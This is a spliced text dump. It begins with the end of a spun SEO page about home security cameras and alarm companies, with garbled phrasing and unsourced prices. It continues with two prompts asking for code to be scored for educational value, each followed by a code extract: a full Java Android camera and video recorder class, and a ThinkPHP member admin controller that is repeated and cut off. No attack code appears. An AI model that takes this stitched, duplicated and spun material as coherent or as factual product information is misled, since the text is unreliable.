<p>PTZ cameras can rapidly pan left to right, tilt up and down, and zoom in on items. With customized pre-programmed capabilities, you can quickly see areas of interest like your parking area, front entrance, or high-traffic areas. The Town of Mamaroneck needs an "Alarm User License" for all facilities geared up with alarm devices. Applications can be submitted at the Town Clerk's office. The application charge is $30. Built with a compact design and a long range WiFi antenna, the cameras can be put practically anywhere. Plug in your cameras to a neighboring source of power and set them up near your entrances inside or outside to monitor what is happening around the night, house or day.</p>
<p>With a kid en route, you may wish to add a camera to your nursery - no issue. When your kids become more mobile, you can add extra sensors to kitchen area cabinets or the freezer. If you're taking a trip more for business and require to work with a petsitter, it's simple to include a wise lock to let them go and come. Vivint's monitoring charges are in line with our other top security companies, which is impressive given the sophisticated exclusive equipment and services that include a Vivint home security system. We likewise like that Vivint gives you the choice to buy your equipment outright, which suggests you're off the hook for a long-term agreement-- however that does require a significant up-front payment.</p>
<h3>Local Home Security Companies in South Carolina</h3>
<p>For those on a budget, we recommend the Wyze Web cam 1080p for indoor use. It costs about $25, yet has an unexpected number of features for the price, and offers you 14 days of rolling cloud storage totally free. Fast forward and today, customers have smart devices, home networks and wireless innovation-- all of which the smart alarm system can make use of. People can buy door sensing units to discover if someone is outside or door locks that can be monitored and possibly controlled from one's cellular phone.</p>
<p>Prices - ADT uses three separate packages, which vary in terms of options supplied. The basic home security bundle is $28.99 per month. Home automation and control expenses around $36.99 and video services come in at $52.99. Installation and other charges may apply. Contractually, this is a 3-year agreement with a six-month trial. Fortunately is this suggests ADT accepts cancellations without penalty for the very first 6 months - however only if the company stops working to deal with any installation or service-related concerns. If you're not able to prove this, early cancellation costs apply.</p>
<h3>Home Surveillance Cameras Charleston SC 29412</h3>
<p>Digital Watchdog - Digital Watchdog offers a vast array of both IP and analog security cameras, with recorders, network gadgets, software, and mobile apps specifically created for both types. Their website's item selector permits you to compare approximately 4 designs at the same time, assisting you to narrow down their vast array of items based upon your security needs. You can also use their quote builder for pricing help and their calculator tools to identify how much bandwidth and storage you'll require for their different camera alternatives.</p>
<p>You can choose from SimpliSafe's original award-winning system or their latest line of equipment. Both systems offer impressive, reliable home security. With the more recent system, you will pay more, but that higher price includes a system that is smaller, faster, and stronger. At half the size of the initial system, the tiny sensing units are almost invisible. The new system works 5 times much faster, and the alarm is 50% louder to frighten intruders.</p>
<p>Houston clients have actually been putting their safety in the hands of Fort Knox ® Home Security for over 40 years. As a company based in Texas and committed to Texas clients, we comprehend the private requirements of customers throughout the state. Fort Knox ® has worked hard to get a good track record with our Houston consumers as a company with low rates and fast response times, thanks to our professionals with 20+ years of experience, and our company-owned monitoring center.</p>
<p>
<iframe width="450" height="315" src="https://www.youtube.com/embed/2axemuW_NJM" frameborder="0" allowfullscreen="#DEFAULT"></iframe>
</p>
<div itemscope itemtype="http://schema.org/Product">
<span itemprop="name">Smart Home Security System Charleston South Carolina</span>
<div itemprop="aggregateRating" itemscope itemtype="http://schema.org/AggregateRating">
Rated <span itemprop="ratingValue">4.9</span>/5 based on <span itemprop="reviewCount">317</span> reviews.</div></div>
<br><a href="./Outdoor-Security-Cameras-Decatur-IL.html">Previous</a> <a href="./Best-Wireless-Alarm-System-Cape-Coral-FL.html">Next</a>
<br>Areas Around Charleston South Carolina<br><a href="./Best-Alarm-Systems-Redlands-CA.html">Best Alarm Systems Redlands CA</a><br><a href="./CCTV-Security-System-Edmonds-WA.html">CCTV Security System Edmonds WA</a><br><a href="./Intrusion-Alarm-System-Ogden-UT.html">Intrusion Alarm System Ogden UT</a><br><a href="./Security-Monitoring-Companies-Elgin-IL.html">Security Monitoring Companies Elgin IL</a><br><a href="./Home-Burglar-Alarm-Systems-Yucaipa-CA.html">Home Burglar Alarm Systems Yucaipa CA</a><br>
</div>
</div>
</div>
</div>
</section>
<footer>
<div class="container">
<div class="flexbox">
<p>© 2020 In Home Security System - All Rights Reserved</p>
<ul class="flexbox">
<li><a href="./privacy.html">Privacy Policy</a></li>
<li><a href="./disclaimer.html">Disclaimer</a></li>
<li><a href="./terms.html">Terms of Use</a></li>
</ul>
</div>
</div>
</footer>
</main>
<!-- Start -->
<script type="text/javascript">
var sc_project=12244329;
var sc_invisible=1;
var sc_security="16a5df9f";
</script>
<script type="text/javascript"
src="https://www.statcounter.com/counter/counter.js"
async></script>
<noscript><div class="statcounter"><a title="Web Analytics
Made Easy - StatCounter" href="https://statcounter.com/"
target="_blank"><img class="statcounter"
src="https://c.statcounter.com/12244329/0/16a5df9f/1/"
alt="Web Analytics Made Easy -
StatCounter"></a></div></noscript>
<!-- End -->
<body>
<script src="./js/custom.js"></script>
</body>
</html>
|
Below is an extract from a Java program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Java code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Java concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., concurrent programming). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Java. It should be similar to a school exercise, a tutorial, or a Java course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Java. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
package com.wukong.hezhi.ui.view;
import android.annotation.TargetApi;
import android.app.Activity;
import android.content.Context;
import android.content.res.TypedArray;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Matrix;
import android.graphics.Rect;
import android.graphics.RectF;
import android.hardware.Camera;
import android.hardware.Camera.Parameters;
import android.hardware.Camera.ShutterCallback;
import android.media.MediaRecorder;
import android.media.MediaRecorder.AudioEncoder;
import android.media.MediaRecorder.AudioSource;
import android.media.MediaRecorder.OnErrorListener;
import android.media.MediaRecorder.OutputFormat;
import android.media.MediaRecorder.VideoEncoder;
import android.media.MediaRecorder.VideoSource;
import android.os.Build;
import android.util.AttributeSet;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.MotionEvent;
import android.view.SurfaceHolder;
import android.view.SurfaceHolder.Callback;
import android.view.SurfaceView;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.ProgressBar;
import com.scan.lib.camera.PictureCallback;
import com.wukong.hezhi.R;
import com.wukong.hezhi.constants.HezhiConfig;
import com.wukong.hezhi.utils.BitmapCompressUtil;
import com.wukong.hezhi.utils.FileUtil;
import com.wukong.hezhi.utils.PermissionUtil;
import com.wukong.hezhi.utils.ScreenUtil;
import com.wukong.hezhi.utils.ThreadUtil;
import com.wukong.hezhi.utils.ViewShowAniUtil;
import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import java.util.Timer;
import java.util.TimerTask;
@SuppressWarnings("deprecation")
public class MovieRecorderView extends LinearLayout implements OnErrorListener, OnClickListener {
private static final String LOG_TAG = "Mov
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
java
| 2 |
package com.wukong.hezhi.ui.view;
import android.annotation.TargetApi;
import android.app.Activity;
import android.content.Context;
import android.content.res.TypedArray;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Matrix;
import android.graphics.Rect;
import android.graphics.RectF;
import android.hardware.Camera;
import android.hardware.Camera.Parameters;
import android.hardware.Camera.ShutterCallback;
import android.media.MediaRecorder;
import android.media.MediaRecorder.AudioEncoder;
import android.media.MediaRecorder.AudioSource;
import android.media.MediaRecorder.OnErrorListener;
import android.media.MediaRecorder.OutputFormat;
import android.media.MediaRecorder.VideoEncoder;
import android.media.MediaRecorder.VideoSource;
import android.os.Build;
import android.util.AttributeSet;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.MotionEvent;
import android.view.SurfaceHolder;
import android.view.SurfaceHolder.Callback;
import android.view.SurfaceView;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.ProgressBar;
import com.scan.lib.camera.PictureCallback;
import com.wukong.hezhi.R;
import com.wukong.hezhi.constants.HezhiConfig;
import com.wukong.hezhi.utils.BitmapCompressUtil;
import com.wukong.hezhi.utils.FileUtil;
import com.wukong.hezhi.utils.PermissionUtil;
import com.wukong.hezhi.utils.ScreenUtil;
import com.wukong.hezhi.utils.ThreadUtil;
import com.wukong.hezhi.utils.ViewShowAniUtil;
import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import java.util.Timer;
import java.util.TimerTask;
@SuppressWarnings("deprecation")
public class MovieRecorderView extends LinearLayout implements OnErrorListener, OnClickListener {
private static final String LOG_TAG = "MovieRecorderView";
private Context context;
private SurfaceView surfaceView;
private SurfaceHolder surfaceHolder;
private ImageView change_camera_iv;
private ProgressBar progressBar;
private MediaRecorder mediaRecorder;
private Camera camera;
private Timer timer;// 计时器
private int mWidth;// 视频录制分辨率宽度
private int mHeight;// 视频录制分辨率高度
private boolean isOpenCamera;// 是否一开始就打开摄像头
private int recordMaxTime;// 最长拍摄时间
private int timeCount;// 时间计数
private File recordFile = null;// 视频文件
private long sizePicture = 0;
/** 手机拍摄时旋转的角度（屏幕朝脸，顺时针旋转） */
private int angle = 0;
public MovieRecorderView(Context context) {
this(context, null);
}
public MovieRecorderView(Context context, AttributeSet attrs) {
this(context, attrs, 0);
}
@TargetApi(Build.VERSION_CODES.HONEYCOMB)
public MovieRecorderView(Context context, AttributeSet attrs, int defStyle) {
super(context, attrs, defStyle);
this.context = context;
TypedArray a = context.obtainStyledAttributes(attrs, R.styleable.MovieRecorderView, defStyle, 0);
mWidth = a.getInteger(R.styleable.MovieRecorderView_record_width, 640);// 默认640
mHeight = a.getInteger(R.styleable.MovieRecorderView_record_height, 360);// 默认360
isOpenCamera = a.getBoolean(R.styleable.MovieRecorderView_is_open_camera, true);// 默认打开摄像头
recordMaxTime = a.getInteger(R.styleable.MovieRecorderView_record_max_time, 11);// 默认最大拍摄时间为10s
LayoutInflater.from(context).inflate(R.layout.layout_video, this);
surfaceView = (SurfaceView) findViewById(R.id.surface_view);
change_camera_iv = (ImageView) findViewById(R.id.change_camera_iv);
change_camera_iv.setOnClickListener(this);
// TODO 需要用到进度条，打开此处，也可以自己定义自己需要的进度条，提供了拍摄进度的接口
progressBar = (ProgressBar) findViewById(R.id.progress_bar);
progressBar.setMax(recordMaxTime);// 设置进度条最大量
surfaceHolder = surfaceView.getHolder();
surfaceHolder.addCallback(new CustomCallBack());
surfaceHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
a.recycle();
}
/**
* SurfaceHolder回调
*/
private class CustomCallBack implements Callback {
@Override
public void surfaceCreated(SurfaceHolder holder) {
if (!isOpenCamera)
return;
try {
initCamera();
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {
}
@Override
public void surfaceDestroyed(SurfaceHolder holder) {
if (!isOpenCamera)
return;
freeCameraResource();
}
}
/**
* 初始化摄像头
*/
public void initCamera() throws IOException {
setCameraVisible(true);// 重置后摄像头可以翻转
if (camera != null) {
freeCameraResource();
}
try {
if (!checkCameraFacing(Camera.CameraInfo.CAMERA_FACING_FRONT)) {
camera = Camera.open(Camera.CameraInfo.CAMERA_FACING_FRONT);// TODO
// 默认打开前置摄像头
} else if (checkCameraFacing(Camera.CameraInfo.CAMERA_FACING_BACK)) {
camera = Camera.open(Camera.CameraInfo.CAMERA_FACING_BACK);
}
} catch (Exception e) {
e.printStackTrace();
freeCameraResource();
((Activity) context).finish();
}
if (camera == null)
return;
setCameraParams();
camera.setDisplayOrientation(90);
camera.setPreviewDisplay(surfaceHolder);
camera.startPreview();
}
boolean cameraBack = true;
public void changeCamera() {
setCameraVisible(true);// 重置后摄像头可以翻转
if (camera != null) {
freeCameraResource();
}
try {
if (cameraBack) {
camera = Camera.open(Camera.CameraInfo.CAMERA_FACING_FRONT);// 默认打开前置摄像头
cameraBack = false;
} else {
camera = Camera.open(Camera.CameraInfo.CAMERA_FACING_BACK);
cameraBack = true;
}
} catch (Exception e) {
e.printStackTrace();
freeCameraResource();
((Activity) context).finish();
}
if (camera == null)
return;
setCameraParams();
try {
camera.setDisplayOrientation(90);
camera.setPreviewDisplay(surfaceHolder);
camera.startPreview();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
/** 设置摄像头按钮的显示状态 */
private void setCameraVisible(boolean isChangable) {
if (change_camera_iv != null) {
if (isChangable) {
ViewShowAniUtil.playAni(change_camera_iv, true);
} else {
ViewShowAniUtil.playAni(change_camera_iv, false);
}
}
}
/**
* 检查是否有摄像头
*
* @param facing
* 前置还是后置
* @return
*/
private boolean checkCameraFacing(int facing) {
int cameraCount = Camera.getNumberOfCameras();
Camera.CameraInfo info = new Camera.CameraInfo();
for (int i = 0; i < cameraCount; i++) {
Camera.getCameraInfo(i, info);
if (facing == info.facing) {
return true;
}
}
return false;
}
Parameters params;
/**
* 设置摄像头为竖屏
*/
private void setCameraParams() {
if (camera != null) {
params = camera.getParameters();
params.set("orientation", "portrait");
params.setZoom(1);
setPreviewSize();
// 手机支持的最大像素
List<Camera.Size> supportedPictureSizes = params.getSupportedPictureSizes();
for (Camera.Size size : supportedPictureSizes) {
sizePicture = (size.height * size.width) > sizePicture ? size.height * size.width : sizePicture;
}
// 实现Camera自动对焦
List<String> focusModes = params.getSupportedFocusModes();
if (focusModes != null) {
for (String mode : focusModes) {
mode.contains("continuous-video");
params.setFocusMode("continuous-video");
}
}
try {
camera.setParameters(params);
} catch (Exception e) {
// TODO: handle exception
}
}
}
/**
* 根据手机支持的视频分辨率，设置预览尺寸
*/
private void setPreviewSize() {
if (camera == null) {
return;
}
// 获取手机支持的分辨率集合，并以宽度为基准降序排序
List<Camera.Size> previewSizes = params.getSupportedPreviewSizes();
Collections.sort(previewSizes, new Comparator<Camera.Size>() {
@Override
public int compare(Camera.Size lhs, Camera.Size rhs) {
if (lhs.width > rhs.width) {
return -1;
} else if (lhs.width == rhs.width) {
return 0;
} else {
return 1;
}
}
});
float tmp = 0f;
float minDiff = 100f;
float ratio = ScreenUtil.screenRatioW2H(); // 高宽比率最接近屏幕宽度的分辨率
Camera.Size best = null;
for (Camera.Size s : previewSizes) {
tmp = Math.abs(((float) s.height / (float) s.width) - ratio);
Log.e(LOG_TAG, "setPreviewSize: width:" + s.width + "...height:" + s.height);
// LogUtil.e(LOG_TAG,"tmp:" + tmp);
if (tmp < minDiff) {
minDiff = tmp;
best = s;
}
}
params.setPreviewSize(best.width, best.height);// 预览比率
Log.e(LOG_TAG, "setPreviewSize BestSize: width:" + best.width + "...height:" + best.height);
}
/**
* 根据手机支持的视频分辨率，设置录制尺寸
*/
private void setVideoSize() {
if (camera == null) {
return;
}
// 获取手机支持的分辨率集合，并以宽度为基准降序排序
List<Camera.Size> previewSizes = params.getSupportedPreviewSizes();
Collections.sort(previewSizes, new Comparator<Camera.Size>() {
@Override
public int compare(Camera.Size lhs, Camera.Size rhs) {
if (lhs.width > rhs.width) {
return -1;
} else if (lhs.width == rhs.width) {
return 0;
} else {
return 1;
}
}
});
float tmp = 0f;
float minDiff = 100f;
float ratio = ScreenUtil.screenRatioW2H();// 高宽比率最接近屏幕宽度的分辨率
Camera.Size best = null;
for (Camera.Size s : previewSizes) {
tmp = Math.abs(((float) s.height / (float) s.width) - ratio);
Log.e(LOG_TAG, "setVideoSize: width:" + s.width + "...height:" + s.height);
if (tmp < minDiff) {
minDiff = tmp;
best = s;
}
}
Log.e(LOG_TAG, "setVideoSize BestSize: width:" + best.width + "...height:" + best.height);
// 设置录制尺寸
mWidth = best.width;
mHeight = best.height;
}
/**
* 根据手机支持的照片分辨率，设置图片尺寸
*/
private void setPictureSize() {
if (camera == null) {
return;
}
// 获取手机支持的分辨率集合，并以宽度为基准降序排序
List<Camera.Size> pictureSizes = params.getSupportedPictureSizes();
Collections.sort(pictureSizes, new Comparator<Camera.Size>() {
@Override
public int compare(Camera.Size lhs, Camera.Size rhs) {
if (lhs.width > rhs.width) {
return -1;
} else if (lhs.width == rhs.width) {
return 0;
} else {
return 1;
}
}
});
Camera.Size best = null;
boolean start = true;
for (Camera.Size s : pictureSizes) {
Log.e(LOG_TAG, "setPictureSize: width:" + s.width + "...height:" + s.height);
if (start && s.height < 1000) {// 选择最适合的分辨率
start = false;
best = s;
}
}
Log.e(LOG_TAG, "setPictureSize BestSize: width:" + best.width + "...height:" + best.height);
params.setPictureSize(best.width, best.height);// 拍照保存比
}
/**
* 释放摄像头资源
*/
private void freeCameraResource() {
try {
if (camera != null) {
camera.setPreviewCallback(null);
camera.stopPreview();
camera.lock();
camera.release();
camera = null;
}
} catch (Exception e) {
e.printStackTrace();
} finally {
camera = null;
}
}
private String videoPath;
/**
* 创建视频文件
*/
private void createRecordDir() {
File sampleDir = new File(HezhiConfig.VIDEO_PATH);
if (!sampleDir.exists()) {
sampleDir.mkdirs();
}
try {
// TODO 文件名用的时间戳，可根据需要自己设置，格式也可以选择3gp，在初始化设置里也需要修改
videoPath = HezhiConfig.VIDEO_PATH + System.currentTimeMillis() + ".mp4";
recordFile = new File(videoPath);
} catch (Exception e) {
e.printStackTrace();
}
}
public String getPath() {
return videoPath;
}
/**
* 录制视频初始化
*/
private void initRecord() throws Exception {
mediaRecorder = new MediaRecorder();
mediaRecorder.reset();
if (camera != null) {
camera.unlock();
mediaRecorder.setCamera(camera);
}
mediaRecorder.setOnErrorListener(this);
mediaRecorder.setPreviewDisplay(surfaceHolder.getSurface());
mediaRecorder.setVideoSource(VideoSource.CAMERA);// 视频源
if (PermissionUtil.audioPermission()) {
mediaRecorder.setAudioSource(AudioSource.MIC);// 音频源
}
mediaRecorder.setOutputFormat(OutputFormat.MPEG_4);// 视频输出格式
if (PermissionUtil.audioPermission()) {
mediaRecorder.setAudioEncoder(AudioEncoder.AAC);// 音频格式
}
mediaRecorder.setVideoSize(mWidth, mHeight);// 设置分辨率
if (sizePicture < 5000000) {// 这里设置可以调整清晰度
mediaRecorder.setVideoEncodingBitRate(5 * 1024 * 512);
} else if (sizePicture < 10000000) {
mediaRecorder.setVideoEncodingBitRate(15 * 1024 * 512);
} else {
mediaRecorder.setVideoEncodingBitRate(25 * 1024 * 512);
}
if (cameraBack) {
mediaRecorder.setOrientationHint(getBackCameraAngle());
} else {
mediaRecorder.setOrientationHint(getFrontCameraAngle());
}
mediaRecorder.setVideoEncoder(VideoEncoder.H264);// 视频录制格式
// mediaRecorder.setMaxDuration(Constant.MAXVEDIOTIME * 1000);
mediaRecorder.setOutputFile(recordFile.getAbsolutePath());
mediaRecorder.prepare();
mediaRecorder.start();
}
public void record(int angle) {
this.angle = angle;
record(null);
}
/** 后置摄像头，输出录像/照片旋转的角度 */
private int getBackCameraAngle() {
return 90 + angle == 360 ? 0 : 90 + angle;
}
/** 前置摄像头，输出录像/照片旋转的角度 */
private int getFrontCameraAngle() {
return 270 - angle;
}
/**
* 开始录制视频
*
* @param onRecordFinishListener
* 达到指定时间之后回调接口
*/
public void record(final OnRecordFinishListener onRecordFinishListener) {
if (onRecordFinishListener == null) {
this.onRecordFinishListener = new OnRecordFinishListener() {
@Override
public void onRecordFinish() {
// TODO Auto-generated method stub
}
};
}
this.onRecordFinishListener = onRecordFinishListener;
setVideoSize();
setCameraVisible(false);// 录制中禁止翻转摄像头
createRecordDir();
try {
if (!isOpenCamera) {// 如果未打开摄像头，则打开
initCamera();
}
initRecord();
timeCount = 0;// 时间计数器重新赋值
timer = new Timer();
timer.schedule(new TimerTask() {
@Override
public void run() {
timeCount++;
progressBar.setProgress(timeCount);// 设置进度条
if (onRecordProgressListener != null) {
onRecordProgressListener.onProgressChanged(recordMaxTime, timeCount);
}
// 达到指定时间，停止拍摄
if (timeCount == recordMaxTime) {
stop();
if (MovieRecorderView.this.onRecordFinishListener != null)
MovieRecorderView.this.onRecordFinishListener.onRecordFinish();
}
}
}, 0, 1000);
} catch (Exception e) {
e.printStackTrace();
if (mediaRecorder != null) {
mediaRecorder.release();
}
freeCameraResource();
}
}
/** 拍照 */
public void photo(int angle, PhotoCallback photoCallback) {
this.angle = angle;
if (photoCallback == null) {
this.photoCallback = new PhotoCallback() {
@Override
public void onSucess(String path) {
// TODO Auto-generated method stub
}
@Override
public void onFail(String msg) {
// TODO Auto-generated method stub
}
};
}
this.photoCallback = photoCallback;
setPictureSize();
setCameraVisible(false);// 录制中禁止翻转摄像头
if (camera != null) {
try {
camera.setParameters(params);
camera.takePicture(shutterCallback, null, pictureCallback);
} catch (Exception e) {
e.printStackTrace();
}
}
}
private ShutterCallback shutterCallback = new ShutterCallback() {
@Override
public void onShutter() { // 不做任何处理，会发出系统快门声音
}
};
public interface PhotoCallback {
void onSucess(String path);
void onFail(String msg);
}
private PhotoCallback photoCallback;
private Bitmap bitmapBottomCompress = null;// 压缩后的图片
// 创建一个PictureCallback对象，并实现其中的onPictureTaken方法
private PictureCallback pictureCallback = new PictureCallback() {
// 该方法用于处理拍摄后的照片数据
@Override
public void onPictureTaken(byte[] data, Camera camera) {
// 停止照片拍摄
try {
camera.stopPreview();
} catch (Exception e) {
photoCallback.onFail("拍照失败");
}
if (data == null) {
photoCallback.onFail("拍照失败");
return;
}
final byte[] dt = data;
new Thread(new Runnable() {
@Override
public void run() {
Bitmap photo = BitmapFactory.decodeByteArray(dt, 0, dt.length);
Bitmap bitmapBottomCompress = BitmapCompressUtil.compress(photo);// 压缩后的图片后再旋转，否则容易内存溢出
Matrix m = new Matrix();
if (cameraBack) {// 如果是后置摄像头，将图片顺时针旋转90度
m.setRotate(getBackCameraAngle(), (float) bitmapBottomCompress.getWidth() / 2,
(float) bitmapBottomCompress.getHeight() / 2);
} else {// 如果是后置摄像头，将图片顺时针旋转270度
m.setRotate(getFrontCameraAngle(), (float) bitmapBottomCompress.getWidth() / 2,
(float) bitmapBottomCompress.getHeight() / 2);
}
Bitmap bmRotate = Bitmap.createBitmap(bitmapBottomCompress, 0, 0, bitmapBottomCompress.getWidth(),
bitmapBottomCompress.getHeight(), m, true);// 旋转后的图片
final String picPath = FileUtil.saveBitmap2File(bmRotate, HezhiConfig.PIC_PATH,
System.currentTimeMillis() + ".png");// 保存图片
ThreadUtil.runOnUiThread(new Runnable() {
@Override
public void run() {
photoCallback.onSucess(picPath);
}
});
}
}).start();
}
};
/**
* 停止拍摄
*/
public void stop() {
stopRecord();
releaseRecord();
freeCameraResource();
}
/**
* 停止录制
*/
public void stopRecord() {
progressBar.setProgress(0);
if (timer != null)
timer.cancel();
if (mediaRecorder != null) {
mediaRecorder.setOnErrorListener(null);// 设置后防止崩溃
mediaRecorder.setPreviewDisplay(null);
try {
mediaRecorder.stop();
} catch (Exception e) {
e.printStackTrace();
}
}
}
/**
* 释放资源
*/
private void releaseRecord() {
if (mediaRecorder != null) {
mediaRecorder.setOnErrorListener(null);
try {
mediaRecorder.release();
} catch (Exception e) {
e.printStackTrace();
}
}
mediaRecorder = null;
}
/**
* 获取当前录像时间
*
* @return timeCount
*/
public int getTimeCount() {
return timeCount;
}
/**
* 设置最大录像时间
*
* @param recordMaxTime
*/
public void setRecordMaxTime(int recordMaxTime) {
this.recordMaxTime = recordMaxTime;
}
/**
* 返回录像文件
*
* @return recordFile
*/
public File getRecordFile() {
return recordFile;
}
/**
* 录制完成监听
*/
private OnRecordFinishListener onRecordFinishListener;
/**
* 录制完成接口
*/
public interface OnRecordFinishListener {
void onRecordFinish();
}
/**
* 录制进度监听
*/
private OnRecordProgressListener onRecordProgressListener;
/**
* 设置录制进度监听
*
* @param onRecordProgressListener
*/
public void setOnRecordProgressListener(OnRecordProgressListener onRecordProgressListener) {
this.onRecordProgressListener = onRecordProgressListener;
}
/**
* 录制进度接口
*/
public interface OnRecordProgressListener {
/**
* 进度变化
*
* @param maxTime
* 最大时间，单位秒
* @param currentTime
* 当前进度
*/
void onProgressChanged(int maxTime, int currentTime);
}
@Override
public void onError(MediaRecorder mr, int what, int extra) {
try {
if (mr != null)
mr.reset();
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
switch (v.getId()) {
case R.id.change_camera_iv:
changeCamera();
break;
}
}
@Override
public boolean onTouchEvent(MotionEvent event) {
if (event.getPointerCount() == 1) {
handleFocusMetering(event, camera);
}
return super.onTouchEvent(event);
}
private String TAG = "MovieRecorderView";
private void handleFocusMetering(MotionEvent event, Camera camera) {
int viewWidth = getWidth();
int viewHeight = getHeight();
Rect focusRect = calculateTapArea(event.getX(), event.getY(), 1f, viewWidth, viewHeight);
Rect meteringRect = calculateTapArea(event.getX(), event.getY(), 1.5f, viewWidth, viewHeight);
camera.cancelAutoFocus();
Camera.Parameters params = camera.getParameters();
if (params.getMaxNumFocusAreas() > 0) {
List<Camera.Area> focusAreas = new ArrayList<>();
focusAreas.add(new Camera.Area(focusRect, 800));
params.setFocusAreas(focusAreas);
} else {
Log.i(TAG, "focus areas not supported");
}
if (params.getMaxNumMeteringAreas() > 0) {
List<Camera.Area> meteringAreas = new ArrayList<>();
meteringAreas.add(new Camera.Area(meteringRect, 800));
params.setMeteringAreas(meteringAreas);
} else {
Log.i(TAG, "metering areas not supported");
}
final String currentFocusMode = params.getFocusMode();
params.setFocusMode(Camera.Parameters.FOCUS_MODE_MACRO);
camera.setParameters(params);
camera.autoFocus(new Camera.AutoFocusCallback() {
@Override
public void onAutoFocus(boolean success, Camera camera) {
Camera.Parameters params = camera.getParameters();
params.setFocusMode(currentFocusMode);
camera.setParameters(params);
}
});
}
private static Rect calculateTapArea(float x, float y, float coefficient, int width, int height) {
float focusAreaSize = 300;
int areaSize = Float.valueOf(focusAreaSize * coefficient).intValue();
int centerX = (int) (x / width * 2000 - 1000);
int centerY = (int) (y / height * 2000 - 1000);
int halfAreaSize = areaSize / 2;
RectF rectF = new RectF(clamp(centerX - halfAreaSize, -1000, 1000)
, clamp(centerY - halfAreaSize, -1000, 1000)
, clamp(centerX + halfAreaSize, -1000, 1000)
, clamp(centerY + halfAreaSize, -1000, 1000));
return new Rect(Math.round(rectF.left), Math.round(rectF.top), Math.round(rectF.right), Math.round(rectF.bottom));
}
private static int clamp(int x, int min, int max) {
if (x > max) {
return max;
}
if (x < min) {
return min;
}
return x;
}
}
|
Below is an extract from a PHP program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid PHP code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical PHP concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., object-oriented programming, namespaces). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching PHP. It should be similar to a school exercise, a tutorial, or a PHP course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching PHP. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
<?php
namespace app\admin\controller;
use app\admin\controller\Common;
use think\Db;
class Member extends Common
{
//会员配置
public function config(){
$name=Db::name('member_config')->where('type','member')->select();
$config=[];
foreach ($name as $k => $v) {
$config[$v['name']]['name']=$v['name'];
$config[$v['name']]['title']=$v['title'];
$config[$v['name']]['content']=$v['content'];
$config[$v['name']]['text']=$v['text'];
}
$this->assign('cfg',$config);
// 获取会员分组
$member_groups=Db::name('member_groups')->order('jingyan asc,id asc')->cache(_cache('db'))->select();
$member_groups2=Db::name('member_groups')->order('jingyan desc,id desc')->cache(_cache('db'))->select();
$this->assign('member_groups',$member_groups);
$this->assign('member_groups2',$member_groups2);
if(request()->isAjax()){
$post=input('post.');
if(!$post['regmobile'] && !$post['regemail'] && !$post['reguser']){
return ['err'=>'用户名、手机、邮箱，至少要开放一个'];
}
if($post){
foreach ($name as $k => $v) {
Db::name('member_config')->where('name',$v['name'])->setField('text',$post[$v['name']]);
}
$data=['ret'=>'保存成功'];
}else{
$data=['err'=>'提交参数错误'];
}
}else{
$data=$this->fetch();
}
return $data;
}
//会员管理
public function index(){
$map=[];
$search_name=input('param.name');
$search_type=input('param.type');
if($search_name && $search_type){
$map[$search_type] = ['like','%'.$search_name.'%'];
}else{
$map='';
}
$map['hide']=['not in',0,1];
$data=Db::name('member')->order('id desc,update_time desc')->where($map)->paginate('',false,['query'=>request()->param()]);
$this->assig
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
php
| 2 |
<?php
namespace app\admin\controller;
use app\admin\controller\Common;
use think\Db;
class Member extends Common
{
//会员配置
public function config(){
$name=Db::name('member_config')->where('type','member')->select();
$config=[];
foreach ($name as $k => $v) {
$config[$v['name']]['name']=$v['name'];
$config[$v['name']]['title']=$v['title'];
$config[$v['name']]['content']=$v['content'];
$config[$v['name']]['text']=$v['text'];
}
$this->assign('cfg',$config);
// 获取会员分组
$member_groups=Db::name('member_groups')->order('jingyan asc,id asc')->cache(_cache('db'))->select();
$member_groups2=Db::name('member_groups')->order('jingyan desc,id desc')->cache(_cache('db'))->select();
$this->assign('member_groups',$member_groups);
$this->assign('member_groups2',$member_groups2);
if(request()->isAjax()){
$post=input('post.');
if(!$post['regmobile'] && !$post['regemail'] && !$post['reguser']){
return ['err'=>'用户名、手机、邮箱，至少要开放一个'];
}
if($post){
foreach ($name as $k => $v) {
Db::name('member_config')->where('name',$v['name'])->setField('text',$post[$v['name']]);
}
$data=['ret'=>'保存成功'];
}else{
$data=['err'=>'提交参数错误'];
}
}else{
$data=$this->fetch();
}
return $data;
}
//会员管理
public function index(){
$map=[];
